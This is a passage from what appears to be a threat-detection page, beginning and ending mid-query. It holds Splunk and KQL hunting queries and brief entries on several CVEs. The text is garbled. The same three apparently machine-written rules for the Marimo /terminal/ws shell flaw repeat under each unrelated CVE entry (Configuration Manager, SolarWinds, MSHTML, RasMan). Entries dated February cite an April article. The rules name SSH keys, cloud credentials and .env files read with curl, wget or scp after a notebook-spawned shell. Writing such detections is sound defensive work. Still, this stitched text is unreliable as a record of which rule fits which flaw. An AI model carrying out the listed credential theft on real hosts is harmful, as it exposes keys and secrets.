| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-124 use cases0 techniques3 kill-chain phases detected
Microsoft Configuration Manager contains an SQL injection vulnerability. An unauthenticated attacker could exploit this vulnerability by sending specially crafted requests to the target environment which are processed in an unsafe manner enabling the attacker to execute commands on the server and/or underlying database. Vendor: Microsoft, Product: Configuration Manager. Federal patch due: 2026-03-05.
CVEsCVE-2024-43468
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2024-43468")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-43468")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-124 use cases0 techniques3 kill-chain phases detected
SolarWinds Web Help Desk contains a security control bypass vulnerability that could allow an unauthenticated attacker to gain access to certain restricted functionality. Vendor: SolarWinds, Product: Web Help Desk. Federal patch due: 2026-02-15.
CVEsCVE-2025-40536
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-40536")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-40536")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-104 use cases0 techniques3 kill-chain phases detected
Microsoft MSHTML Framework contains a protection mechanism failure vulnerability that could allow an unauthorized attacker to bypass a security feature over a network. Vendor: Microsoft, Product: Windows. Federal patch due: 2026-03-03.
CVEsCVE-2026-32202CVE-2026-21513
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-32202", "CVE-2026-21513")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-32202", "CVE-2026-21513")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-104 use cases0 techniques3 kill-chain phases detected
Microsoft Windows Remote Access Connection Manager contains a NULL pointer dereference that could allow an unauthorized attacker to deny service locally. Vendor: Microsoft, Product: Windows. Federal patch due: 2026-03-03.
CVEsCVE-2026-21525
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-21525")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-21525")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
